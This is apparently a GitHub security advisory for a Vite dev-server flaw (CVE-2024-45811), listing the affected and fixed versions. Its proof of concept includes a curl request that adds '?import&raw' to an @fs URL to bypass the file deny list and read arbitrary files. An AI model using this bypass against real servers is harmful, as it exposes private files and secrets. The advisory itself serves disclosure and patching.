GitHub Advisoryadvisory · npm
GHSA-9cwx-2883-4wfx Vite's `server.fs.deny` is bypassed when using `?import&raw`
MEDIUM
Official page ↗
- Aliases
- CVE-2024-45811
- Ecosystem
- npm
- Packages
- vite
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-200, CWE-284
- Reviewed
- 2024-09-17
Affected packages
• npm vite: >= 5.4.0, < 5.4.6 → fixed in 5.4.6
• npm vite: >= 5.3.0, < 5.3.6 → fixed in 5.3.6
• npm vite: >= 5.2.0, < 5.2.14 → fixed in 5.2.14
• npm vite: >= 4.0.0, < 4.5.4 → fixed in 4.5.4
• npm vite: < 3.2.11 → fixed in 3.2.11
• npm vite: >= 5.0.0, < 5.1.8 → fixed in 5.1.8
Description
Summary
The contents of arbitrary files can be returned to the browser.
Details
`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.
PoC
```sh
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
403 Restricted
The request url "/tmp/secret.txt" is outside of Vite serving allow list.
security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
```
Related
Alias · CVE (1)
- CVE-2024-45811 Vite a frontend build tooling framework for javascript. vulnerability
References
- https://github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfx web
- https://nvd.nist.gov/vuln/detail/CVE-2024-45811 advisory
- https://github.com/vitejs/vite/commit/4573a6fd6f1b097fb7296a3e135e0646b996b249 web
- https://github.com/vitejs/vite/commit/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34 web
- https://github.com/vitejs/vite/commit/8339d7408668686bae56eaccbfdc7b87612904bd web
- https://github.com/vitejs/vite/commit/a6da45082b6e73ddfdcdcc06bb5414f976a388d6 web
- https://github.com/vitejs/vite/commit/b901438f99e667f76662840826eec91c8ab3b3e7 web
- https://github.com/vitejs/vite package